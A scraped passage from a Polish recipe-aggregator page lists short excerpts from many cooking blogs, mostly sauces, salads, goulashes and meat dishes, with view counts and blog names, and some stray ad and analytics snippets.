kurczakiem – to sałatka, która pokochacie od pierwszego kęsa! My ją wręcz uwielbiamy :) Sprawdzi się idealnie na wszelkiego rodzaju imprezy, czy kolację. Połączenie brokuła z kurczakiem i przepysznym domowym sosem The post Sałatka warstwowa z brokułem i kurczakiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z tortellini i brokułem 149

Sałatka z tortellini i brokułem – to prosta w wykonaniu sałatka z domowym, sosem czosnkowym. Sprawdzi się jako sałatka na imprezę, czy sałatka do grilla. Jest też dość sycąca, więc idealnie nada się również na obiad lub w pudełeczko do pracy. P The post Sałatka z tortellini i brokułem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Gulasz z kurczaka z pieczarkami 154

Gulasz z kurczaka z pieczarkami – czyli pyszny gulasz drobiowy z piersi kurczaka z dodatkiem pieczarek w aromatycznym, ciemnym sosie. Polecam również przepis na: gulasz drobiowy z serduszek drobiowych. Gulasz z kurczaka z pieczark The post Gulasz z kurczaka z pieczarkami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Chrupiący kurczak miodowo-czosnkowy 310

Chrupiący kurczak miodowo-czosnkowy – bez smażenia! Pyszne kawałki pieczonego kurczaka w panierce panko z dodatkiem sosu miodowo-czosnkowego to coś, co uwielbiam :) Świetnie sprawdzą się jako danie na obiad, np. podawane z ryżem, ale także jako The post Chrupiący kurczak miodowo-czosnkowy appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Długo duszona wołowina z pieczarkami 226

Długo duszona wołowina z pieczarkami wyszła przepyszna. Nie spodziewałem się, że długie, powolne duszenie wołowiny nada jej taki wyjątkowy smak. Odpowiednio doprawiona z pieczarkami i marchewką

Kulinarnyblog.pl - wiesz jak gotować!
CURRY Z ZIEMNIAKAMI 187

płomień do minimalnego i gotujemy 10-15 minut, aż ziemniaki będą miękkie. Co jakiś czas mieszamy. Zdejmujemy pokrywkę, dodajemy mleczko kokosowe i sok z ćwiartki limonki. Chwilę gotujemy, aż sos zgęstnieje. Próbujemy i w razie potrzeby doprawiamy (można dodać odrobinę cukru trzcinowego). Podajemy z ryżem i ulubioną surówką

cool and minty
Polędwiczki w porowym sosie 152

gumiaste” czy przesuszone. Dodatki też mają znaczenie! Dlatego dzisiaj zabieram Was na prawdziwą ucztę. Na moim talerzu pieczone ziemniaczki, surówka z pomidorków z cebulką oraz polędwiczki z sosem porowym. Na te ostatnie przepis znajdziecie poniżej. Zapraszam 2 polędwiczki wieprzowe 2-3 pory 1 łyżeczka musztardy suszony tymianek 1/2 szkl. śmietanki 30% masło, olej Oczyszczone pory kroimy na półplasterki. Oprószamy

Smaki Na Talerzu
Keto Keczup 313

potraw, to nieodłączny element prawie każdego dania. Oto przepis na Keczup w wersji keto. Składniki: 250 ml pasta pomidorowa 1 łyżka octu jabłkowego lub białego octu winnego 2 łyżeczki sosu Worcestershire 1 łyżeczka sproszkowanej cebuli łyżeczka czosnku w proszku jedna łyżeczka wędzonej papryki 1 łyżka środka słodzącego – u mnie erytrytol szczypta pieprzu cayenne opcjonalnie opcjonalnie inne zioła i przyprawy

Keto - Meto Przepisy
Sos czosnkowy 189

Bardzo lubię czosnek. Nie dość, że nadaje potrawom świetny smak to jeszcze jest mega zdrowy. W okresie zimowym często na naszym stole gości sos czosnkowy, pasuje do wielu dań: mięsa, pizzy a nawet jako dodatek do kanapek. Składniki: 2 łyżeczki majonezu, 2 łyżeczki jogurtu naturalnego, 2 ząbki czosnku, 1/2 łyżeczki majeranku, sól, pieprz do smaku. Majonez wymieszać z jogurtem. Dodać

Moja kraina smaków
Pieczony dorsz z pomidorami pod mozzarellą 179

pomidory odparują i staną się gęste. Piekarnik nagrzewamy do 200°C,. Rybę obtaczamy w mące ziemniaczanej i układamy na blaszce wysmarowanej olejem rzepakowym. Na każdy kawałek nakładamy porcję sosu pomidorowego. Całość wkładamy do piekarnika i pieczemy przez 10 minut. Po tym czasie wyjmujemy blachę, posypujemy rybę mozzarellą oraz suszonym oregano i zapiekamy przez kolejne 5-10 minut

Qchnia po prostu
Wątróbka w sosie musztardowym 184

smażenia dodajemy masło. Cebulka ma się lekko zeszklić, po czym dodajemy wątróbkę, posypujemy jarzynką, podlewamy połową szklanki wody i dusimy pod przykryciem ok. 5 minut. Po czym sprawdzamy czy sos nie jest zbyt gęsty, jeżeli tak dolewamy resztę wody, dodajemy musztardy, solimy i pieprzymy do smaku. Dusimy jeszcze 2 minuty. Ja podałam z młodymi ziemniaczkami z wody, surówką z marchewki

Kulinarne przemyslenia
Letni obiad – młode ziemniaki z roszponką, jajkiem, boczkiem i pieczarkami 152

był zimny, doprowadzamy go do wrzenia. Dodajemy łyżkę octu winnego. Doprawiamy solą oraz pieprzem. Do ziemniaków z pieczarkami dodajemy roszponkę oraz boczek. Mieszamy. Na koniec dodajemy jajka. Polewamy sałatkę sosem

Smaki Na Talerzu
Pieczone klopsiki z indyka ze szpinakiem w sosie pomidorowym 153

Podawać według uznania. Smakują wyśmienicie z ziemniakami jak z kaszą. (adsbygoogle = window.adsbygoogle || []).push({}); Smacznego!!! Poniżej klikając w symbol drukarki można wydrukować przepis Pieczone klopsiki z indyka ze szpinakiem w sosie pomidorowym Dania Dania obiadowe , Indyk Porcje 6 klopsików Czas przygotowania 20 minut Czas gotowania 45 minut Czas oczekiwania 65 minut Składniki 400 g fileta z indyka lub mięsa mielonego

Przepisy Babci
Białe szparagi z sosem kaparowym 189

warto go wykorzystać. Ceny szparagów są bardzo przystępne, możesz się nimi objadać całkiem bezkarnie nie tylko z powodu ceny, są dodatkowo niskokaloryczne. Podrzucam nowy przepis na białe szparagi w sosie kaparowym. Brzmi wykwintnie? I tak smakują. Delikatne szparagi i wyraziste w smaku kapary, Myślę, że się skusisz

Gotuj zdrowo!Guten Appetit!
Zrazy z mięsa mielonego 193

obsmażamy zrazy z każdej strony na złoty kolor, następnie podlewamy wodą (ok pół szklanki ) a najlepiej bulionem i dusimy około 45 minut. Od czasu do czasu uzupełniając płyn. Powstały sos doprawić do smaku i lekko zaciągnąć mąką

Andzia Pichci
Pikantny sos do mięs grillowanych 151

Sos który będzie idealnym dodatkiem do dań z grilla. 100 gram cebuli 100 gram papryki czerwonej 2 łyżeczki papryki czerwonej słodkiej w proszku 2 łyżeczki mieszanki przyprawowej curry 1 mały ząbek czosnku szczypta soli pół łyżeczki pieprzu cayenne lub 1/4 łyżeczki chili w proszku 1 szklanka keczupu 250 ml 1/3 szklanki wody 2 łyżki oleju Cebulę i paprykę drobno siekamy

Andzia Pichci
Keto Keczup 202

potraw, to nieodłączny element prawie każdego dania. Oto przepis na Keczup w wersji keto. Składniki: 250 ml pasta pomidorowa 1 łyżka octu jabłkowego lub białego octu winnego 2 łyżeczki sosu Worcestershire 1 łyżeczka sproszkowanej cebuli 1 łyżeczka czosnku w proszku 1 łyżeczka wędzonej papryki 1 łyżka środka słodzącego – u mnie erytrytol szczypta pieprzu cayenne opcjonalnie opcjonalnie inne zioła

Keto - Meto Przepisy
Klopsiki w sosie własnym 318

wkładać do garnka. Umieszczone wszystkie klopsiki przykryć pokrywką i gotować na małym ogniu przez 30-40 min. Po tym czasie dorzucić pomidorki koktajlowe i świeżą bazylię (lub koncentrat). By sos był bardziej gęsty można dodać 3 łyżki jogurtu naturalnego

Keto - Meto Przepisy
Penne z sosem pomidorowym 185

pomidory uważamy za rozpoczęty, a więc nie może zabraknąć ich w naszych przepisach. Dlatego dzisiaj mamy dla Was prosty przepis na "dość ostre" penne z pomidorami. Penne z sosem pomidorowym SKŁADNIKI: - makaron penne 500g - 5 średniej wielkości pomidorów - ½ papry czki habanero - 1 papryka czerwona - 2 ząbki czosnku - 2 plastry dowolnego sera żółtego - 500g wieprzowego mięsa mielonego - 4 łyżki jogurtu naturalnego

Związek na patelni
Frytki z batatów i sos z awokado 153

czasu trzeba przekąsić coś warzywnego i zdrowego. Mogą być frytki. I nie mowię tutaj o tłustym fastfoodzie z sieciowej restauracji. Mowa o zdrowych chrupiących frytkach z batatów z sosem z awokado. O awokado dużo pisać nie będę. U mnie jest to produkt spożywczy nr1. I tak bardzo je lubię, że najchętniej wyjadam je łyżeczką i bez żadnych dodatków

dolcevitainmykitchen
Szparagi w szynce z grilla 224

Szparagi w szynce z grilla to bardzo prosty dodatek do potraw serwowanych z grilla. Przygotujemy go bardzo szybko i bardzo prosto. Do tej przystawki najlepiej jest

Kulinarnyblog.pl - wiesz jak gotować!
Placuszki z ricottą i truskawkami 217

Placuszki z ricottą i truskawkami to moje popisowe danie na szybkie i smaczne śniadanie. Placuszki są puszyste i delikatne w smaku. Sprawdźcie przepis, zaskoczcie swoją drugą

Kulinarnyblog.pl - wiesz jak gotować!
Pomidory z mozzarellą i pesto 220

Pomidory z mozzarellą i pesto to błyskawiczna przystawka, która świetnie sprawdzi się na każdą okazję. Delikatna i bardzo aromatyczna. Składniki oraz szybki przepis są poniżej…

Kulinarnyblog.pl - wiesz jak gotować!
Ogórki nadziewane jajami z rzodkiewką 164

starego zeszytu zostaje przywrócone w nowej odsłonie  😊 Zamiast śmietany czy jogurtu składniki można wymieszać z dobrym olejem lub oliwą i skropić sokiem z cytryny lub użyć dobrego sosu winegret. Polecam   🙂 Składniki: (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Kulinarne przemyslenia
Sałatka z burakiem i nektarynką 186

prezentuje. Idealna propozycja na przykład na romantyczną kolacje Sałatka z burakiem i nektarynką Składniki: 2-3 średniej wielkości buraki 1 nektarynka 100 g sera sałatkowo-kanapkowego 2 garści rukoli sos lub krem balsamiczny oliwa z oliwek świeżo mielony pieprz Na początku myjemy buraki i owijamy je w folię aluminiową. Pieczemy w 160°C (z termoobiegiem) i pieczemy około godzinę

PatiGotuje
Sałatka brokułowo pieczarkowa , prosta i zdrowa 160

zalewy . (adsbygoogle = window.adsbygoogle || []).push({}); Wszystko układamy w salaterce naprzemiennie , przesypując kukurydzą , siekaną cebulą i koprem . Jogurt mieszamy z miodem , wyciśniętym praską czosnkiem , solą i pieprzem do smaku . Tak przygotowanym sosem polewamy sałatkę i odstawiamy do lodówki na godzinę ,żeby się schłodziła . Można także wymieszać ale wtedy mniej apetycznie wygląda Smacznego ! Artykuł Sałatka brokułowo pieczarkowa , prosta i zdrowa pochodzi z serwisu

Ogrodnik w podróży
Miodowe skrzydełka z grilla 184

Miodowe skrzydełka z grilla to błyskawiczna wersja dania z rusztu. Skrzydełka nie wymagają zbyt długiego marynowania. Ta marynata nada im chrupkości i odrobinę słodyczy. Skrzydełka , a

Kulinarnyblog.pl - wiesz jak gotować!
Sałata z rzodkiewką 155

osuszoną sałatę dzielimy na mniejsze części. Rzodkiewki kroimy na plasterki. Kwaśną śmietanę łączymy z cukrem oraz octem winnym. Doprawiamy do smaku solą oraz pieprzem. Sałatę łączymy z rzodkiewkami. Polewamy sosem śmietanowym tuż przed podaniem. Dodatkowo przed podaniem można surówkę posypać podrumienionym i pokruszonym na mniejsze kawałki bekonem

Smaki Na Talerzu
Tortille z mięsnym farszem i kolorowymi warzywami (Tortille con ragù di carne e verdure fresche) 221

Razowe tortille wypełnione s ą  niezwykle aromatycznym wołowo-wieprzowym ragù a dodatkami oliwki, papryka, pomidorki oraz miks sa ł at. Tortille doskonale smakują podane na ciepło z sosem pomidorowym lub czosnkowym. Polecam serdecznie ;) **** Il piatto che volevo oggi presentarVi, piacerà sicuramente agli amanti dello street food. Quelli che ho qui intenzione di suggerirVi sono le tortille fatte in casa

La grande e la piccola cuoca
Sałatka z mozzarellą, pomidorami i octem balsamicznym 246

Sałatka z mozzarellą, pomidorami i octem balsamicznym to idealny pomysł na szybką i smaczną przystawkę. Lista składników i przepis są poniżej… Składniki 2 pomidory 1

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z awokado na ostro 258

Pasta z awokado na ostro to idealny dodatek do chrupiącej tortilli, ale również może być wykorzystana jako pasta do pieczywa. Lista składników i przepis jest poniżej

Kulinarnyblog.pl - wiesz jak gotować!
Kura we bazyliowyj zōłzie (Kurczak w sosie bazyliowym) 167

tera pisać elaboratōw1, ale bez jaki cufal2 wyszoł mi z tego richtich3 fajny recept4… i szlus5 😉 Co potrza? 1 kg [...] Artykuł Kura we bazyliowyj zōłzie (Kurczak w sosie bazyliowym) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Mini tarty ze szpinakiem i szynką 153

Mini tarty ze szpinakiem i serem Pyszne mini tarty ze szpinakiem i szynką . Doskonały farsz, szynka i pyszny sos . Genialne danie lub przystawka . Smakuje zarówno na ciepło jak i na zimno . Proste do zrobienia . Nadają się nawet na świąteczny obiad . Moje chłopaki uwielbiają wszelakie tarty , obojętnie czym nadziewane , zawsze mają wzięcie . Chociaż gdybym użyła kaszanki lub wątróbki ..mogło by już

Ogrodnik w podróży
Ryba we grzibowyj zōłzie (Ryba w grzybowym sosie) 163

danie chca narychtować, to moja Kobiyta2 trocha krynciōła3 nosym, ale jak już to miała na talyrzu, to zaroski4 zmiyniōła zdanie. Ryba [...] Artykuł Ryba we grzibowyj zōłzie (Ryba w grzybowym sosie) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Sos chrzanowy 134

Sos chrzanowy jest świetnym dodatkiem do mięs na zimno. Jest bardzo smaczny i prosty w przygotowaniu. Podaję orientacyjne ilości produktów, po prostu musimy doprawić go do smaku. 2 jajka ugotowane na twardo, 4 – 5 łyżek chrzanu (u mnie chrzan domowy ), 2 -3 łyżki jogurtu greckiego lub śmietany, sól, cukier, kilka kropel soku z cytryny, Białka jajek drobno posiekać. Żółtka rozgnieść

królestwo garów
Jaglane kotleciki z miętą 202

Jaglane kotleciki z miętą były tak smaczne, że muszę się z Wami natychmiast podzielić przepisem. Można zrobić je na obiad, kolacje, podać z sosem jogurtowo-miętowym lub pomidorowym. Zajadać bez zbędnych dodatków, za to z dużą ilością surówki. Na zimno, na ciepło, są pyszne. Pomysł na kotleciki jaglane przyszedł spontanicznie. Bardzo lubię warzywne kotleciki. Na blogu były już kulki

dolcevitainmykitchen
Sałatka z rukolą i marchewką 258

Sałatka z rukolą i marchewką to idealna propozycja dla wszystkich osób będących na diecie. Przygotowanie zajmuje nam dosłownie kilka minut. Danie to możecie również przygotować na

Kulinarnyblog.pl - wiesz jak gotować!
Faszerowane grzyby w sosie koperkowym 164

słodką i chili. Doprawić do smaku solą i pieprzem. Od pieczarek odciąć nóżki. Doprawić solą. Do każdego kapelusza włożyć farsz mięsny. Tak przygotowane grzyby włożyć do naczynia żaroodpornego. Przygotowanie sosu – w śmietanie i wodzie rozmieszać rozdrobnioną kostkę rosołową, mąkę, koperek, odrobinę soli i pieprzu. Tak przygotowaną śmietaną wlać między grzybki. Nóżki pokroić drobno i wrzucić do naczynia. Przykryć

Kuchnia Pokoleń
Złociste placki ziemniaczane 272

Złociste placki ziemniaczane możemy podać w wersji „na słodko” ale również bardziej klasycznej, chociażby z gulaszem. Danie przygotujemy bardzo szybko i dodatkowo będzie to

Kulinarnyblog.pl - wiesz jak gotować!
Tort nalesnikowy bolognese 161

Wymyśl coś" odpowiedziała córka.. no to wymyśliłam. Tort naleśnikowy bolognese. Fajne nie? Idealny obiad, nie trudny i nie taki pracochłonny jakby się wydawało. Naleśniki lubimy, sos bolognese to rzecz prosta i pyszna, więc połączenie było idealne. Do tego obiad bardzo efektowny, myślę że na każdą okazję. Polecam. Ilości co i czego nie podaje, bo każdy

Bernika - moj kulinarny pamietnik
Tajska agentka (dobra, a nie tuczy) 202

Tajski agent to zupa, która chyba nigdy się nie znudzi. Jadłam ją oryginalną (była świetna), ale i moja wyszła super. Nazwałam ją Tajska agentka 😊 . Potrzebujemy:

Tylko pysznie
Pieczone pulpety z ciecierzycy 244

razem z tłuszczem), bułkę tartą i przyprawy. Całość wymieszaj i uformuj pulpety. Piecz je na posmarowanej tłuszczem blaszce w 200 stopniach Celsjusza przez 20 minut. Pulpety podaj z ulubionym sosem

Via Gusto
SALSA MEGA PYSZNA 173

marchewki (przy IO bez marchewki ze względu na wysoki IG) cukinia papryka czerwona papryka żółta (lub dwie jednokolorowe) oliwa z oliwek przecier pomidorowy - około 200g (najlepszy zwykły lub gęsty sos pomidorowy) łyżeczka suszonego oregano łyżeczka suszonej bazylii sól himalajska i ziołowa do smaku pół łyżeczki pimientonu (wędzona hiszpańska papryka w proszku - u mnie pikantna) stewia do dosłodzenia lub cukier

Cytryna&Co.
CURRY Z ZIEMNIAKAMI, MARCHEWKĄ I GROSZKIEM 132

rozpuszczenia, dolewamy śmietankę lub mleko kokosowe. Gotujemy 5 minut, dodajemy groszek i gotujemy jeszcze 2 minuty.  Próbujemy i w razie potrzeby doprawiamy do smaku. W miarę stygnięcia, sos będzie gęstniał, można rozrzedzić go dodatkowym bulionem

cool and minty
Łódeczki czyli kluseczki ziemniaczane 145

kluseczki są idealne do mięsnych dań z sosem. Można je również polane tłuszczem i skwarkami. Ziemniaki obrać i ugotować w osolonej wodzie. Odlać wodę i natychmiast podusić na purée. Wsypać mąkę i jeszcze raz ugnieść. Wysypać ziemniaki na stolnicę lekko obsypaną mąką pszenną. Podzielić masę na mniejsze kawałki. Z każdej porcji uformować wałek o grubości 1 cm. Pociąć na mniejsze

Kuchnia Pokoleń
Jajka w sosie tatarskim 171

podane jajka będą pyszną imprezową przystawką. A na wielkanocne śniadanie stanowią u mnie punkt obowiązkowy. 10 jajek Sos tatarski: duży słoik marynowanych pieczarek 5 ogórków konserwowych średni słoiczek majonezu sól, świeżo zmielony pieprz Jajka ugotować na twardo, ostudzić i obrać. Pieczarki i ogórki bardzo drobno pokroić. Wymieszać z majonezem i doprawić do smaku. Odstawić w chłodne miejsce na kilka godzin

Smakołyki Asi
Spaghetti z cukinii w sosie pomidorowym 192

marchew. Makaron warzywny, który uzyskamy przy jego pomocy, przypomina spaghetti. Pokochacie to urządzenie jak ja. Do pierwszego swojego dania wykorzystałam cukinie, by przygotować spaghetti, ale zamiast makaronu do sosu pomidorowego użyłam właśnie spaghetti z cukinii i tak mi smakowało, że wstyd się przyznać ale to danie w tym tygodniu jadłam już 4 razy. Smacznego. Czytaj więcej

Bernika - moj kulinarny pamietnik
Żeberka po węgiersku 325

łyżki koncentratu pomidorowego z odrobiną wody, w której dusiły się żeberka. Dodajemy mieszaninę do garnka i zagotowujemy. Gotujemy wszystko razem przez 10 minut i wyłączamy. Na koniec próbujemy sos i ewentualnie dosalamy do smaku. Gotowe! Żeberka po węgiersku smakują doskonale z kaszą lub ziemniakami oraz z surówką

Dieta bez mleka
Indyk balsamico pieczony z batatami 205

Składniki: 1 pierś z indyka (około 750 g) 3 duże bataty Marynata: 3 łyżki octu balsamico 3 łyżki ciemnego sosu sojowego 2 łyżki suszonego rozmarynu 3 łyżki oleju 4 ząbki czosnku sól, pieprz Sposób wykonania: Wszystkie składniki marynaty łączymy ze sobą, a następnie nacieramy nią mięso. Odkładamy do lodówki na kilka godzin (najlepiej na noc). Indyka wyjmujemy z zalewy, kładziemy

Qchnia po prostu
Makaron po góralsku – z boczkiem i oscypkiem 167

starty oscypek i dusimy kilka minut. Dodajemy garść żurawiny. Doprawiamy do smaku pieprzem (nie solimy, zarówno oscypek jak i boczek są słone). Makaron przecedzamy i dodajemy do powstałego kremowego sosu serowego, mieszamy. Podajemy udekorowane posiekaną natką pietruszki

Smaki Na Talerzu
Delikatne pulpeciki z kurczaka w sosie pomidorowym 157

niego delikatnie pulpeciki. Po 5 minutach gotowania (gdy mięso się zetnie) dodajemy poszatkowaną w paski kapustę pekińską. Delikatnie mieszamy, przykrywamy i gotujemy na małym ogniu przez 25 minut. Sos doprawiamy do smaku solą i pieprzem, dodajemy cukier. Pulpeciki podajemy z ryżem lub gotowanymi ziemniakami. Przed podaniem posypujemy poszatkowaną natką pietruszki

Qchnia po prostu
Naleśniki z kurczakiem, fetą i rukolą 294

Naleśniki z kurczakiem, fetą i rukolą to odmiana od tradycyjnych naleśników podawanych na słodko. Wytrawna wersja jest idealna na obiad, albo lunch do pracy. Choć trzeba

Kulinarnyblog.pl - wiesz jak gotować!
Guacamole z awokado 142

awokado przygotować można pasty, dodawać do sałatek lub jeść na kanapce rozsmarowane bądź pokrojone. Ja lubię połączenie awokado z jajkiem, głownie gotowanym lub w koszulce. Całość podaję polaną sosem holenderskim. Smakuje obłędnie. Kiedyś podzielę się z Wami przepisem na taką wersję dania z awokado, gdyż tym razem mam dla Was przepis na coś innego. Guacamole, czyli tradycyjna pasta, której zabraknąć

mecooks
SOS PIECZARKOWY ZE ŚMIETANĄ I ŚWIEŻĄ NATKĄ PIETRUSZKI 111

Uwielbiam ten sos, najczęściej podaję go z kluskami śląskimi, kopytkami, ziemniakami, makaronem lub kaszą gryczaną. Śmietanowa, kremowa konsystencja, aromat pieczarek i pietruszki. Jest smaczny, szybki i prosty do zrobienia. Wystarczy tylko kilka składników :) Składniki: * 300 g pieczarek * 250 ml śmietany 18% * garść posiekanej natki pietruszki * 2 łyżki masła * sól i pieprz do smaku Wykonanie: Pieczarki pokroić na cienkie plasterki (jeśli

Zrób to smacznie
Bruschetty z awokado 193

dodajemy listki bazylii, 3-4 łyżki oliwy, 2 łyżki wody, sól, pieprz i blendujemy. Mozzarellę kroimy w drobną kosteczkę. Awokado również kroimy w kostkę. Na podpieczonych kromkach bagietki, układamy sos pomidorowy , pokrojone awokado , mozzarellę i wkładamy do piekarnika na ok. 2-3 minuty aby mozzarellą się roztopiła. Po wyjęciu bruschetty polewamy bazyliowym pesto. Smacznego! Artykuł Bruschetty z awokado pochodzi

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z tuńczykiem i ryżem 498

sprawi, że zachwyci nas nie tylko smak, ale i wygląd, natomiast dzięki dodatkowi ryżu będzie ona niezwykle pożywna. Przepis oraz lista składników jest poniżej… Składniki puszka tuńczyka w sosie własnym torebka ryżu puszka kukurydzy cała czerwona cebula 100g sera żółtego szczypiorek 3 łyżki majonezu 1 łyżka ketchupu sól pieprz 5 jajek Sałatka z tuńczykiem i ryżem – przepis Ryż

Kulinarnyblog.pl - wiesz jak gotować!
Gulasz z szynki 186

W tym wpisie pokażę Wam przepis na szybki, prosty tradycyjny gulasz z szynki. Podstawową wersję gulaszu możecie urozmaicić dowolnymi dodatkami, np. papryką, kukurydzą. Tak przygotowany gulasz

Kulinarnyblog.pl - wiesz jak gotować!
Makaron soba z warzywami 184

ochoty na gotowanie, wybieram proste przepisy. Takie, które nie wymagają dużo stania przy garnkach, a są sycące i pożywne. Jednym z takich przepisów jest makaron soba z warzywami i sosem z masła orzechowego. Makaron soba

Vegan Taste
Smażona tilapia 188

Składniki: 8 filetów z tilapii Marynata: 5 łyżek soku z cytryny 1 łyżeczka startego imbiru 6 łyżek sosu sojowego 6 łyżek białego wytrawnego wina 2 ząbki czosnku (przeciśnięte przez praskę) sól, biały pieprz olej do smażenia mąka kukurydziana do panierowania Sposób wykonania: Wszystkie składniki marynaty łączymy ze sobą. Polewamy nią filety i rozprowadzamy dokładnie na każdym kawałku. Pozostawiamy w chłodnym

Qchnia po prostu
Gulasz wieprzowy po myśliwsku na piwie 168

łyżeczka suszonego cząbru 1 łyżeczka czarnego mielonego pieprzu 1 szklanka ciemnego piwa 2 łyżki miodu sól do smaku natka pietruszki do przybrania mąka pszenna, rozmieszana z wodą do zagęszczenia sosu smalec wieprzowy do smażenia Mięso płukamy , osuszamy papierowym ręcznikiem i kroimy w średniej wielkości kostkę . Na dobrze rozgrzanej patelni ,obsmażamy na smalcu, małymi porcjami , tak żeby mięso się przypiekło

Ogrodnik w podróży
Grillowane kalmary z sosem czosnkowym 151

trzeba dużo czasu, potem grillujemy i zajadamy ze smakiem wprost z patyczków. Zróbcie dużo bo znikają szybko, wielbiciele owoców morza jeszcze więcej hi hi. Kalmary z grilla w sosie czosnkowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Indyk w sosie musztardowo-miodowym, brokuł i makaron bezglutenowy 147

trening. Tym razem w daniu przewagę mają zdecydowanie węglowodany, których jest najwięcej, jednak nie brakuje także białka i odrobiny tłuszczu. Bez wątpienia warto spróbować piersi z indyka w sosie musztardowo-miodowym, jeżeli lubisz słodko-ostre dania. Składniki 250 g filetu z piersi indyka 100 g makaronu z mąki kukurydzianej (bezglutenowy, penne/świderki/spaghetti) 150 g brokułu 1 łyżeczka oleju kokosowego

Programista w kuchni
Polędwiczki z kurczaka w sosie z lutenicą 257

fajną gotową. Kuchnie Świata mają super produkty, z których wyczarujecie naprawdę smaczne dania ta wytrawne ale i słodkie desery. Polecam serdecznie zakupy w tym sklepie. polędwiczki z kurczaka w sosie z lutenicą

Ewa w kuchni
Karkówka zapiekana po cygańsku 206

smaczny . Doskonały na niedzielny obiad lub na każdy inny dzień tygodnia . Można ją przygotować wcześniej , gdyż odgrzewanie wychodzi jej tylko na dobre Pyszne kruche mięsko z papryką , pieczarkami i sosem pomidorowym …mniam Składniki na 5 osób : 5 plastrów karkówki , dość chudych o grubości 1 cm 6-7 pieczarek 1 żółta papryka 1 zielona papryka 2 czerwone papryczki chilli

Ogrodnik w podróży
Placuszki meksykańskie z sosem jogurtowo - śmietanowym 145

carne i nie miałam ochoty na jej zjedzenie samej. Pomyślałam że jak ją wymieszam z dodatkami to mogą wyjść pyszne placuchy i tak też zrobiłam a placki wyszły wyborne. Sos jogurtowo - śmietanowy dopełnił całości. Wykorzystajcie pomysł bo warto. Placki po meksykańsku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
DESER BEZOWY Z BITĄ ŚMIETANĄ I MALINAMI 177

Wprost do miski z ubitą śmietaną zgrubnie kruszymy bezę. Na dno każdego pucharka wykładamy wyfiletowane pomarańcze (4 kawałki zostawiamy do dekoracji) i bitą śmietaną z bezą.  Wierzch dekorujemy sosem malinowym, świeżymi malinami, kawałkami pomarańczy, płatkami migdałów, wiórkami czekolady i listkami mięty

cool and minty
Pasta z tuńczyka i powideł 139

pietruszką. Zazwyczaj jednym z głównych dodatków jest jajko i majonez lub jogurt, bo dzięki nim pasta nabiera kremowej konsystencji. Podaję z pieczywem i koperkiem. Smacznego! SKŁADNIKI: puszka tuńczyka w sosie własnym, 170 g, po odsączeniu 120g 2 duże jaja ugotowane na twardo, u mnie XL łyżka powideł śliwkowych łyżka majonezu opcjonalnie: mała płaska łyżeczka ostrego chrzanu (lub musztardy), u mnie

Zasmakuj Kuchni
Makaron z kurczakiem i brokułem. Przepis krok po kroku. 347

łatwo modyfikować. Zamiast kurczaka dać schab lub w wersji wegetariańskiej ciecierzycę. Zamiast brokuła świetnie sprawdzi się kalafior. A bazylię zastąpi natka pietruszki. Uwielbiam też dodać do sosu śmietanowego łyżkę klasycznego pesto, niby nic a robi różnice.   I tyle ode mnie Wypróbujcie przepis krok po kroku na makaron z kurczakiem

kuron.com.pl
Placki dyniowe z sosem 246

cebula ok. 1/2 – 3/4 szklanki mąki 1 jajko 1/2 łyżeczki soli 1/2 łyżeczki kurkumy 1 łyżeczka curry 1 łyżeczka mielonego imbiru … Czytaj dalej Placki dyniowe z sosem

czarrna od kuchni
Sos curry do frytek 452

naturalny (165 g) 2 łyżki majonezu 4 łyżeczki curry 1 łyżka soku z cytryny 1 ząbek zmiażdżonego czosnku sól, ostra papryka w proszku do smaku Sposób wykonania: Wszystkie składniki sosu mieszamy ze sobą w miseczce. Doprawiamy do smaku solą i ostrą papryką. Podajemy jako dodatek do domowych frytek

Qchnia po prostu
Sos grzybowy 174

jeść broń boże. Nie wiem dlaczego. Najważniejsze, że mamy swoje grzybki. Zbierane tylko takie znane, pod okiem grzybiarza z dziada pradziada :) Część grzybków ususzyłam, a z pozostałych zrobiłam sos. Wyszedł przepyszny, bo chyba najlepsze są najprostsze rozwiązania. Składniki : cebula grzyby śmietana sól i pieprz do smaku woda Przygotowanie : cebulę pokroić w kostkę i podsmażyć w garnku dodać pokrojone grzyby

Gotowanie z pasją
Sos grzybowy 136

jeść broń boże. Nie wiem dlaczego. Najważniejsze, że mamy swoje grzybki. Zbierane tylko takie znane, pod okiem grzybiarza z dziada pradziada :) Część grzybków ususzyłam, a z pozostałych zrobiłam sos. Wyszedł przepyszny, bo chyba najlepsze są najprostsze rozwiązania. Składniki : cebula grzyby śmietana sól i pieprz do smaku woda Przygotowanie : cebulę pokroić w kostkę i podsmażyć w garnku dodać pokrojone grzyby

Gotowanie z pasją
Soba z brokułem 152

dobrze zjeść, więc szybko podjęliśmy decyzję, że ugotujemy coś pysznego. Ponadto jesteśmy wielkimi fanami makaronów, więc wybór padł na danie inspirowane azjatycką kuchnią: japoński makaron soba delikatnie skąpany w sosie na bazie masła orzechowego

Vegan Taste
FILETY Z KURCZAKA W SOSIE Z MARCHEWKĄ I GROSZKIEM 238

zalewam bulionem, zagotowuję. Pomiędzy filety wsypuję marchewkę z groszkiem, razem gotuję na większym ogniu przez około 8 minut (w międzyczasie raz przewracam mięso). Śmietankę mieszam z mąką, dodaję do sosu, gotuję jeszcze przez 2 minuty, aż zgęstnieje. Po wyłożeniu na talerze mięso posypuję natką pietruszki

JejKuchnia
Sos pieczarkowy 145

Bardzo uniwersalny sos o aksamitnej konsystencji. Jego zastosowanie może być wszechstronne. Pasuje zarówno do kasz, ziemniaków, makaronów czy duszonych i pieczonych mięs. W smaku bardzo delikatny, a jego przyrządzenie jest proste i szybkie.  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Kulinarne przemyslenia
Sałatka z jajkiem, ogórkiem i grzankami 163

